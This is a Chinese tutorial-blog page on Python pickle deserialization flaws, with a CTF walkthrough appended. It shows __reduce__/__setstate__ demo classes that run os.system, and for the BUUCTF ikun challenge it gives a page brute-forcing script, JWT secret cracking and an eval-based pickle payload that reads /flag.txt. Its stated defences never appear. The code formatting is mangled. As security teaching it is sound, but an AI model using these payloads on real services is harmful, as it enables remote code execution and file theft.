深入探究Python反序列化漏洞:原理剖析与实战复现

server/2024/10/18 12:22:04/

在现代应用程序开发中,Python反序列化漏洞已成为一个备受关注的安全问题。反序列化是Python中用于将字节流转换回对象的过程,但如果没有妥善处理,攻击者可以通过精心构造的恶意数据,利用反序列化漏洞执行任意代码,进而控制整个系统。理解Python反序列化漏洞的工作原理,并掌握其复现技巧,对于提升我们的安全防护水平至关重要。

本文将深入剖析Python反序列化漏洞的原理,展示如何在实际环境中复现该漏洞,并提供有效的防御措施。无论你是网络安全的新手,还是经验丰富的开发者,都能从中获得宝贵的知识和实用的技能。让我们一同揭开Python反序列化漏洞的神秘面纱,提升我们的安全防护能力。

概念

攻击者通过传入精心构造的恶意序列化数据,利用反序列化过程中恢复对象的特性,使得反序列化代码执行任意命令或代码,从而控制目标系统。这种攻击利用了序列化机制在反序列化过程中对不受信任数据缺乏适当验证的漏洞。

反序列化函数

pickle.dump(obj,file): 将对象序列化后保存到文件

pickle.load(file) :读取文件,将文件中的序列化内容反序列化为对象

pickle.dumps(obj) :将对象序列化成字符串格式的字节流

pickle.loads(bytes_obj): 将字符串格式的字节流反序列化为对象

魔术方法

  1. reduce()

    1. python">  import pickleimport os#反序列化魔术方法调用-__reduce__() __reduce_ex__() __setstate__()class A(object):def __reduce__(self):print('反序列化调用')return (os.system,('calc',))//必须要有returna = A()p_a = pickle.dumps(a)pickle.loads(p_a)//将其注释之后不会弹计算机,但是输出结果不变print('==========')print(p_a)
      
  2. setstate()

    1. python">  import pickleimport osclass SerializePerson():def __init__(self, name):self.name = name# 构造 __setstate__ 方法def __setstate__(self, name):os.system('calc')  # 恶意代码tmp = pickle.dumps(SerializePerson('tom'))  #序列化pickle.loads(tmp)  # 反序列化 此时会弹出计算器
      
  3. getstate()

    1. python">  import pickleimport os#序列化魔术方法调用-__getstate__class A(object):def __getstate__(self):print('序列化调用')os.system('calc')a = A()p_a = pickle.dumps(a)print('==========')print(p_a)
      
  4. 示例

    1. python">  import pickleimport os#反序列化安全漏洞产生-DEMOclass A(object):def __init__(self, func, arg):self.func = funcself.arg = argprint('This is A')def __reduce__(self):print('反序列化调用')return (self.func, self.arg)a = A(os.system, ('calc',))p_a = pickle.dumps(a)# pickle.loads(p_a)print('==========')print(p_a)
      
  5. 示例代码

    1. 靶场:buuctf—[CISCN2019 华北赛区 Day1 Web2]ikun

    2. 题目提示找到lv6,故写python脚本进行寻找

      1. 脚本如下:

        python">import requests,time
        url="http://78a126d5-a835-4226-abe9-4a5fb6a79841.node4.buuoj.cn:81/shop?page="for i in range(0,2000):time.sleep(0.2)r=requests.get(url+str(i))if 'lv6.png' in r.text:print(i)breakelse:print(str(i)+'|no')
    3. 爆破得到181关,注册登录购买,发现钱不够,捉包修改优惠卷

    4. 发现需要admin身份,修改cookie值

    5. 捉包发现cookie出具有jwt验证漏洞

    6. 利用jwtcracker工具爆破jwt秘钥得到1Kun秘钥

    7. 利用秘钥在此处(https://jwt.io/#encoded-jwt)得到admin的jwt的值

    8. 改包放出得到以下页面后右键源代码即可得到后门代码

    9. 全局搜索反序列化函数pickle,存在load反序列化函数,有漏洞,故根据题目写下payload

      1. python">  import pickleimport urllibclass payload(object):def __reduce__(self):return (eval, ("open('/flag.txt','r').read()",))a = pickle.dumps(payload())a = urllib.quote(a)print a//此脚本为python2
        
    10. 可以看到pickle所在的类为AdminHandler,全局搜索,找到对应网址

    11. 根据脚本生成的payload,在对应元素元素的值进行更改或者修改数据包

通过本文的学习,我们不仅深入了解了Python反序列化漏洞的原理,还掌握了复现该漏洞的具体步骤和有效的防御策略。安全防护不仅是技术上的突破,更是一种持续关注和防范的意识。通过对Python反序列化漏洞的全面剖析,我们能够更好地识别和修复潜在的安全风险,从而保护我们的系统和数据免受攻击。

在信息安全的道路上,我们每个人都有责任和义务不断提升自身的安全技能和意识。希望本文能为你在安全防护方面提供有价值的指导和帮助,激发你对网络安全的持续关注和兴趣。让我们共同努力,构建一个更为安全和可靠的网络环境。如果你有任何疑问或宝贵的建议,欢迎在评论区与我们互动。感谢你的阅读,期待你的反馈与分享!


http://www.ppmy.cn/server/96411.html

相关文章

C++初学(11)

不知不觉就第11篇了QWQ 11.1、指针和自由存储空间 之前提到了计算机程序在存储数据时必须跟踪的3个基本属性: (1)信息存储在何处; (2)存储的值为多少; (3)存储的信息…

【算法】山脉数组的峰顶索引

难度:中等 题目描述: 给定一个长度为 n 的整数 山脉 数组 arr ,其中的值递增到一个 峰值元素 然后递减。 返回峰值元素的下标。 你必须设计并实现时间复杂度为 O(log(n)) 的解决方案。 示例 1: 输入:arr [0,1,0]…

Apache Flink开发时选择Java还是Scala作为编程语言

在Apache Flink的开发过程中,选择Java还是Scala作为编程语言是一个重要的决策点。这两种语言各有其独特的优势和特点,适合不同的开发场景和需求。以下是对这一选择的详细探讨,旨在帮助开发者更好地理解并做出合理的选择。 一、Apache Flink简…

爬虫代理的使用:提升爬虫效率

爬虫代理的基本概念 爬虫代理,简单来说,就是位于客户端和目标服务器之间的一个中转站。当爬虫发起请求时,不是直接发送给目标服务器,而是先发送给代理服务器,再由代理服务器转发给目标服务器。目标服务器响应后&#…

机器人抓取与操作的挑战与进展——挑战赛角度

从竞赛中看机器人抓取与操作的挑战与进展 前言一、国际机器人竞赛有哪些?二、感知方面的挑战与进展二、抓取方面的挑战与进展三、操作方面的挑战与进展总结 前言 本文根据最近的机器人抓取和操作挑战赛 (Robotic Grasping andManipulation Competitions (RGMCs))&a…

hive udtf 函数:输入一个字符串,将这个字符串按照特殊的逻辑处理之后,输出4个字段

这里要继承GenericUDTF 这个抽象类,直接上代码: package com.xxx.hive.udf; import org.apache.commons.lang.StringUtils; import org.apache.hadoop.hive.ql.exec.Description; import org.apache.hadoop.hive.ql.exec.UDFArgumentException; import …

树莓派4B学习笔记24:Python_SYN6288语音模块的控制函数

今日继续学习树莓派4B 4G:(Raspberry Pi,简称RPi或RasPi) 本人所用树莓派4B 装载的系统与版本如下: 版本可用命令 (lsb_release -a) 查询: ​ Opencv 版本是4.5.1: ​ Python 版本3.7.3: 今日学习SYN6288语…

重生之我 学习【数据结构之顺序表(SeqList)】

⭐⭐⭐ 新老博友们,感谢各位的阅读观看 期末考试&假期调整暂时的停更了两个多月 没有写博客为大家分享优质内容 还容各位博友多多的理解 美丽的八月重生之我归来 继续为大家分享内容 你我共同加油 一起努力 ⭐⭐⭐ 数据结构将以顺序表、链表、栈区、队列、二叉树…